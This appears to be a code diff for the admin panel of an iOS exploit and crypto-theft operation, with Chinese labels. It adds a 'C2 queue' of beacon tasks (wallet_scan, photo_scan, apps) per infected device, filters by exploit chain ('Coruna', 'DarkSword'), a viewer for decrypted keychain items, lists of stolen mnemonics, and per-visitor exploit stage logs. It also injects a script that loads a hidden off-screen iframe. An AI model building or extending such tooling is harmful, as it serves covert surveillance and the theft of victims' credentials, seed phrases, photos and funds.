||||
'wallet_scan',
|
||||
'photos',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
'basic_info',
|
||||
];
|
||||
foreach (DB::table('devices')->where('family', 'darksword')->pluck('id') as $deviceId) {
|
||||
$rows = [];
|
||||
foreach ($types as $i => $type) {
|
||||
$rows[] = [
|
||||
'device_id' => $deviceId,
|
||||
'position' => $i + 1,
|
||||
'type' => $type,
|
||||
'status' => 'pending',
|
||||
'created_at' => $now,
|
||||
'updated_at' => $now,
|
||||
];
|
||||
}
|
||||
DB::table('ds_beacon_tasks')->insert($rows);
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('ds_beacon_tasks');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
$now = now();
|
||||
DB::table('ds_beacon_tasks')
|
||||
->where('type', 'photos')
|
||||
->where('status', 'pending')
|
||||
->update([
|
||||
'status' => 'skipped',
|
||||
'completed_at' => $now,
|
||||
'result_meta' => json_encode(['reason' => 'queue_uses_photo_scan_only']),
|
||||
'updated_at' => $now,
|
||||
]);
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
DB::table('ds_beacon_tasks')
|
||||
->where('type', 'photos')
|
||||
->where('status', 'skipped')
|
||||
->update([
|
||||
'status' => 'pending',
|
||||
'completed_at' => null,
|
||||
'result_meta' => null,
|
||||
'updated_at' => now(),
|
||||
]);
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->string('source', 64)->default('')->after('device_id');
|
||||
$table->unsignedTinyInteger('decrypted')->default(0)->after('source');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('wallet_keystores', function (Blueprint $table) {
|
||||
$table->dropColumn(['source', 'decrypted']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
$rows = DB::table('wallet_keystores')->where('source', '')->get(['id', 'raw_json']);
|
||||
foreach ($rows as $row) {
|
||||
$json = json_decode((string) $row->raw_json, true);
|
||||
if (! is_array($json)) {
|
||||
continue;
|
||||
}
|
||||
$source = WalletSource::fromKeystoreHint($json['source'] ?? null);
|
||||
if ($source === '' && isset($json['wallets']) && is_array($json['wallets']) && ! array_is_list($json['wallets'])) {
|
||||
$labels = [];
|
||||
foreach (array_keys($json['wallets']) as $key) {
|
||||
$label = WalletSource::fromKeystoreHint((string) $key);
|
||||
if ($label !== '') {
|
||||
$labels[$label] = true;
|
||||
}
|
||||
}
|
||||
if (count($labels) === 1) {
|
||||
$source = array_key_first($labels);
|
||||
}
|
||||
}
|
||||
if ($source === '' && isset($json['sandbox']) && is_array($json['sandbox']) && ! array_is_list($json['sandbox'])) {
|
||||
$source = WalletSource::fromKeystoreHint((string) array_key_first($json['sandbox']));
|
||||
}
|
||||
if ($source === '') {
|
||||
continue;
|
||||
}
|
||||
DB::table('wallet_keystores')->where('id', $row->id)->update(['source' => $source]);
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
//
|
||||
}
|
||||
};
|
||||
@@ -115,7 +115,17 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}
|
||||
|
||||
function promoIframe(url) {
|
||||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
var path = '';
|
||||
try {
|
||||
path = new URL(url, location.origin).pathname || '';
|
||||
} catch (e) {
|
||||
var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i);
|
||||
path = m ? m[1] : String(url || '');
|
||||
}
|
||||
if (!path) path = '/';
|
||||
if (path.indexOf('?') >= 0) path = path.split('?')[0];
|
||||
path = path.replace(/["']/g, '');
|
||||
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"' + path + '",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))<\/script>';
|
||||
}
|
||||
|
||||
function openLinks(row) {
|
||||
|
||||
@@ -13,6 +13,9 @@
|
||||
.wrap{word-break:break-all;max-width:640px}
|
||||
.wallet-row{background:#fff7e6}
|
||||
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
|
||||
.tag-chain{display:inline-block;color:#fff;padding:0 6px;border-radius:2px;font-size:12px;line-height:20px}
|
||||
.tag-chain-coruna{background:#0d9488}
|
||||
.tag-chain-darksword{background:#7c3aed}
|
||||
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
|
||||
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
|
||||
@@ -13,6 +13,16 @@
|
||||
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="family">
|
||||
<option value="">全部</option>
|
||||
<option value="coruna">Coruna</option>
|
||||
<option value="darksword">DarkSword</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
@@ -109,6 +119,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'family', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = d.family === 'darksword';
|
||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||
} },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
|
||||
@@ -16,6 +16,16 @@
|
||||
<th width="140">渠道 ID</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>利用链</th>
|
||||
<td colspan="3">
|
||||
@if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD)
|
||||
<span class="tag-chain tag-chain-darksword">DarkSword</span>
|
||||
@else
|
||||
<span class="tag-chain tag-chain-coruna">Coruna</span>
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>设备型号</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
@@ -63,11 +73,66 @@
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
@if (($beaconTasks ?? collect())->isNotEmpty())
|
||||
@php
|
||||
$queuePending = $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_PENDING);
|
||||
$queueCurrent = $queuePending
|
||||
?? $beaconTasks->firstWhere('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED);
|
||||
@endphp
|
||||
<div class="layui-elem-quote" style="margin:0 0 16px;">
|
||||
C2 队列
|
||||
@if ($queuePending)
|
||||
· 下一条 <code>{{ $queuePending->type }}</code>
|
||||
@elseif ($beaconTasks->contains('status', \App\Models\DsBeaconTask::STATUS_DISPATCHED))
|
||||
· 已下发未回传,下一轮 /beacon 会重试
|
||||
@else
|
||||
· 本轮已回传,之后继续轮询钱包/相册/应用
|
||||
@endif
|
||||
</div>
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<thead>
|
||||
<tr>
|
||||
<th width="60">#</th>
|
||||
<th width="180">任务</th>
|
||||
<th width="120">状态</th>
|
||||
<th width="180">下发时间</th>
|
||||
<th width="180">回传时间</th>
|
||||
<th>回传</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
@foreach ($beaconTasks as $task)
|
||||
@php
|
||||
$rowStyle = $queueCurrent && $task->id === $queueCurrent->id ? 'background:#fff7ed;' : '';
|
||||
@endphp
|
||||
<tr style="{{ $rowStyle }}">
|
||||
<td>{{ $task->position }}</td>
|
||||
<td><code>{{ $task->type }}</code> {{ $task->typeLabel() }}</td>
|
||||
<td>{{ $task->statusLabel() }}</td>
|
||||
<td>{{ $task->dispatched_at ?: '—' }}</td>
|
||||
<td>{{ $task->completed_at ?: '—' }}</td>
|
||||
<td class="wrap">
|
||||
@if ($task->result_count)
|
||||
{{ $task->result_count }} 次
|
||||
@if (!empty($task->result_meta['filename']))
|
||||
· {{ $task->result_meta['filename'] }}
|
||||
@endif
|
||||
@else
|
||||
—
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
@endforeach
|
||||
</tbody>
|
||||
</table>
|
||||
@endif
|
||||
|
||||
<div class="layui-tab layui-tab-brief" style="margin-bottom: 0;">
|
||||
<ul class="layui-tab-title">
|
||||
@php $tabs = [
|
||||
'wallets' => '钱包地址',
|
||||
'mnemonics' => '助记词',
|
||||
'keystores' => '钥匙串',
|
||||
'photos' => '相册',
|
||||
'apps' => '已装 APP',
|
||||
'notes' => '备忘录',
|
||||
@@ -192,7 +257,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
form.render('checkbox');
|
||||
|
||||
$('#LAY-device-destroy').on('click', function () {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、C2 队列、DS 阶段日志、访问记录及该设备的 DS 文件日志,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
@@ -362,6 +427,20 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'mnemonic', title: 'Mnemonic', minWidth: 220, templet: function (d) { return '<code>' + esc(d.mnemonic) + '</code>'; } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }
|
||||
]],
|
||||
keystores: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'source', title: '来源', width: 140, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 110, align: 'center', templet: function (d) {
|
||||
return d.items_url ? '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>' : '—';
|
||||
} }
|
||||
]],
|
||||
apps: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'name', title: '名称', minWidth: 140, sort: true, templet: function (d) { return dash(d.name); } },
|
||||
@@ -391,6 +470,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var emptyMap = {
|
||||
wallets: '暂无地址',
|
||||
mnemonics: '暂无助记词',
|
||||
keystores: '暂无钥匙串',
|
||||
apps: '暂无应用',
|
||||
notes: '暂无备忘录',
|
||||
events: '暂无日志'
|
||||
@@ -412,6 +492,45 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.items_url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
|
||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="layui-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
|
||||
'<td>' + dash(it.service) + '</td>' +
|
||||
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
form.render('select');
|
||||
form.on('submit(LAY-wallet-search)', function (data) {
|
||||
|
||||
@@ -0,0 +1,177 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '钥匙串')
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.ks-wrap { padding: 12px 16px 16px; }
|
||||
.ks-meta { color: #666; font-size: 13px; margin-bottom: 10px; }
|
||||
.ks-empty { color: #999; padding: 24px 0; text-align: center; }
|
||||
.ks-table { width: 100%; border-collapse: collapse; font-size: 12px; }
|
||||
.ks-table th,
|
||||
.ks-table td {
|
||||
border: 1px solid #e6e6e6;
|
||||
padding: 8px 10px;
|
||||
text-align: left;
|
||||
vertical-align: top;
|
||||
}
|
||||
.ks-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
|
||||
.ks-table .mono {
|
||||
word-break: break-all;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
||||
<div class="layui-form-item">
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="source">
|
||||
<option value="">全部</option>
|
||||
<option value="未知">未知</option>
|
||||
@foreach ($sources as $s)
|
||||
<option value="{{ $s }}">{{ $s }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">已解密</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="decrypted">
|
||||
<option value="">全部</option>
|
||||
<option value="1">是</option>
|
||||
<option value="0">否</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-ks-search">搜索</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||
<script type="text/html" id="LAY-ks-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function esc(v) {
|
||||
return String(v == null ? '' : v)
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
}
|
||||
function dash(v) { return v ? esc(v) : '—'; }
|
||||
|
||||
window.CorunaKeystoreItems = window.CorunaKeystoreItems || function (url, title) {
|
||||
layer.load(1);
|
||||
$.getJSON(url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var items = d.items || [];
|
||||
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
||||
' · 来源 ' + esc(d.source || '未知') +
|
||||
' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
' · ' + items.length + ' 条</div>';
|
||||
if (!items.length) {
|
||||
html += '<div class="ks-empty">暂无条目</div></div>';
|
||||
} else {
|
||||
html += '<table class="ks-table"><thead><tr>' +
|
||||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
items.forEach(function (it) {
|
||||
html += '<tr>' +
|
||||
'<td class="mono">' + esc(it.account || it.path || '—') + '</td>' +
|
||||
'<td class="mono">' + dash(it.service) + '</td>' +
|
||||
'<td class="mono">' + dash(it.access_group) + '</td>' +
|
||||
'<td>' + dash(it.protection_class) + '</td>' +
|
||||
'<td>' + esc(it.data_len) + '</td>' +
|
||||
'<td class="mono">' + dash(it.data_preview) + '</td>' +
|
||||
'</tr>';
|
||||
});
|
||||
html += '</tbody></table></div>';
|
||||
}
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title || ('钥匙串 #' + (d.id || '')),
|
||||
area: ['920px', '70%'],
|
||||
content: html
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
};
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-ks-list',
|
||||
id: 'LAY-ks-list',
|
||||
url: @json(route($portal.'.keystores.data')),
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'device_key', title: '设备 ID', width: 160, templet: function (d) { return d.device_key ? '<code>' + esc(d.device_key) + '</code>' : '—'; } },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 180, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'source', title: '来源', width: 130, sort: true, templet: function (d) { return esc(d.source || '未知'); } },
|
||||
{ field: 'decrypted', title: '已解密', width: 90, sort: true, templet: function (d) {
|
||||
return Number(d.decrypted) === 1 ? '是' : '否';
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110 },
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-ks-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
text: { none: '暂无钥匙串' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
form.on('submit(LAY-ks-search)', function (data) {
|
||||
table.reload('LAY-ks-list', { where: data.field, page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
table.on('tool(LAY-ks-list)', function (obj) {
|
||||
if (obj.event === 'items') {
|
||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || obj.data.id);
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index) {
|
||||
parent.layui.index.openTabsPage(url, title);
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = url;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -84,6 +84,9 @@
|
||||
<dd data-name="mnemonics">
|
||||
<a lay-href="{{ route('admin.mnemonics.index') }}">助记词</a>
|
||||
</dd>
|
||||
<dd data-name="keystores">
|
||||
<a lay-href="{{ route('admin.keystores.index') }}">钥匙串</a>
|
||||
</dd>
|
||||
<dd data-name="transfers">
|
||||
<a lay-href="{{ route('admin.transfers.index') }}">交易记录</a>
|
||||
</dd>
|
||||
|
||||
@@ -19,6 +19,16 @@
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">利用链</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="chain">
|
||||
<option value="">全部</option>
|
||||
<option value="0">Coruna</option>
|
||||
<option value="1">DarkSword</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">系统</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -50,23 +60,6 @@
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-form" style="margin-bottom:12px;">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width:auto;">分组</label>
|
||||
<div class="layui-input-inline" style="width:180px;">
|
||||
<select id="LAY-visit-group">
|
||||
<option value="os">系统</option>
|
||||
<option value="os_version">系统 + 版本</option>
|
||||
<option value="browser">浏览器</option>
|
||||
<option value="browser_version">浏览器 + 版本</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>分组</th><th>PV</th><th>UV</th></tr></thead>
|
||||
<tbody id="LAY-visit-groups"><tr><td colspan="3">—</td></tr></tbody>
|
||||
</table>
|
||||
<table id="LAY-visit-list" lay-filter="LAY-visit-list"></table>
|
||||
</div>
|
||||
</div>
|
||||
@@ -74,23 +67,16 @@
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form'], function () {
|
||||
var table = layui.table, form = layui.form, $ = layui.$;
|
||||
var portal = @json($portal);
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var where = { range: '30d' };
|
||||
var logsUrl = @json(route($portal.'.visits.logs'));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function loadGroups() {
|
||||
var g = $('#LAY-visit-group').val() || 'os';
|
||||
$.getJSON(@json(route($portal.'.visits.groups')), Object.assign({}, where, { group: g }), function (res) {
|
||||
if (!res || res.code !== 0) return;
|
||||
var html = '';
|
||||
(res.data.rows || []).forEach(function (r) {
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td></tr>';
|
||||
});
|
||||
$('#LAY-visit-groups').html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
});
|
||||
function esc(s) {
|
||||
return String(s == null ? '' : s)
|
||||
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||
}
|
||||
|
||||
table.render({
|
||||
@@ -101,7 +87,12 @@ layui.use(['table', 'form'], function () {
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 160 },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 160 },
|
||||
{ field: 'chain_label', title: '利用链', width: 120, templet: function (d) {
|
||||
var ds = Number(d.chain) === 1;
|
||||
return '<span class="tag-chain ' + (ds ? 'tag-chain-darksword' : 'tag-chain-coruna') + '">' +
|
||||
(ds ? 'DarkSword' : 'Coruna') + '</span>';
|
||||
} },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 280 },
|
||||
{ field: 'os', title: '系统', width: 90 },
|
||||
{ field: 'os_version', title: '系统版本', width: 100 },
|
||||
{ field: 'browser', title: '浏览器', width: 100 },
|
||||
@@ -109,27 +100,56 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'ip', title: 'IP', width: 130 },
|
||||
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true }
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', templet: function (d) {
|
||||
if (Number(d.chain) !== 1) return '—';
|
||||
return '<a class="layui-btn layui-btn-xs" lay-event="chain-log">查看日志</a>';
|
||||
} }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
table.on('tool(LAY-visit-list)', function (obj) {
|
||||
if (obj.event !== 'chain-log') return;
|
||||
var uid = obj.data.client_uid || '';
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.getJSON(logsUrl, Object.assign({}, where, { client_uid: uid }), function (res) {
|
||||
layer.close(loading);
|
||||
var rows = (res && res.data) || [];
|
||||
var html = '<div style="padding:16px;">';
|
||||
if (!rows.length) {
|
||||
html += '<div style="color:#94a3b8;">暂无利用阶段记录</div>';
|
||||
} else {
|
||||
html += '<table class="layui-table" lay-size="sm"><thead><tr>' +
|
||||
'<th>时间</th><th>阶段</th><th>进度</th><th>说明</th></tr></thead><tbody>';
|
||||
rows.forEach(function (r) {
|
||||
html += '<tr><td>' + esc(r.created_at) + '</td><td>' + esc(r.stage_label) +
|
||||
'</td><td>' + esc(r.progress) + '%</td><td>' + esc(r.label) + '</td></tr>';
|
||||
});
|
||||
html += '</tbody></table>';
|
||||
}
|
||||
html += '</div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '利用日志 — ' + uid,
|
||||
area: ['720px', '480px'],
|
||||
content: html
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.close(loading);
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
|
||||
form.on('submit(LAY-visit-search)', function (data) {
|
||||
where = data.field;
|
||||
table.reload('LAY-visit-list', { where: where, page: { curr: 1 } });
|
||||
loadGroups();
|
||||
return false;
|
||||
});
|
||||
|
||||
form.on('select', function (data) {
|
||||
if (data.elem && data.elem.id === 'LAY-visit-group') loadGroups();
|
||||
});
|
||||
$('#LAY-visit-group').on('change', loadGroups);
|
||||
|
||||
form.render();
|
||||
loadGroups();
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
|
||||
@@ -74,6 +74,9 @@
|
||||
<dd data-name="mnemonics">
|
||||
<a lay-href="{{ route('user.mnemonics.index') }}">助记词</a>
|
||||
</dd>
|
||||
<dd data-name="keystores">
|
||||
<a lay-href="{{ route('user.keystores.index') }}">钥匙串</a>
|
||||
</dd>
|
||||
<dd data-name="transfers">
|
||||
<a lay-href="{{ route('user.transfers.index') }}">交易记录</a>
|
||||
</dd>
|
||||
|
||||
+9
-3
@@ -6,7 +6,9 @@ use App\Http\Controllers\Admin\AuthController;
|
||||
use App\Http\Controllers\Admin\ChannelController;
|
||||
use App\Http\Controllers\Admin\DashboardController;
|
||||
use App\Http\Controllers\Admin\DeviceController;
|
||||
use App\Http\Controllers\Admin\FilterOptionsController;
|
||||
use App\Http\Controllers\Admin\Google2faController;
|
||||
use App\Http\Controllers\Admin\KeystoreController;
|
||||
use App\Http\Controllers\Admin\MnemonicController;
|
||||
use App\Http\Controllers\Admin\NoteController;
|
||||
use App\Http\Controllers\Admin\PageVisitController;
|
||||
@@ -34,12 +36,12 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
